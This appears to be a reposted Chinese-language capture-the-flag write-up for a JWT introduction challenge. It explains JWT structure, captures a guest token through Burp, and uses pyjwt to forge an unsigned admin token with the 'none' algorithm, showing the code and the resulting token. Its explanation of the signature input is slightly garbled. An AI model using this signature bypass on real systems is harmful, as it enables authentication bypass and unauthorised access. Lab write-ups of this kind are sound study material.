JSON Web Token (JWT) - Introduction


To validate the challenge, connect as admin.------------以admin登陸

https://jwt.io/introduction/           
JSON Web令牌(JWT)是一個開放標准(RFC 7519),它定義了一種緊湊且自包含的方式,用於在各方之間作為JSON對象安全地傳輸信息。由於此信息是經過數字簽名的,因此可以被驗證和信任。可以使用秘密(使用HMAC算法)或使用RSA或ECDSA的公鑰/私鑰對對JWT進行簽名。

  JWT的數據分為三部分:標頭,有效載荷,簽名(簽名)。

  因為標頭和有效負載以明文形式存儲,所以簽名用於防止數據被修改。
  提供數據的事務處理功能的簽名通常使用RS256(RSA非對稱加密和私鑰簽名)和HS256(HMAC SHA256對稱加密)算法。,簽名對象為base64UrlEncode(headers)+'。+ base64UrlEncode('signature')。

開始挑戰------------------

 

以guest身份登陸

 

bp截斷獲取jwt

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk

https://jwt.io ----------------  查看有效載荷

 

 

 

 使用python的pyjwt模塊,使用admin有效載荷------------重新生成令牌,沒有算法

 

>>> import jwt
>>> encoded = jwt.encode({'username': 'admin'}, '', algorithm='none')
>>> encoded
'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.'

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM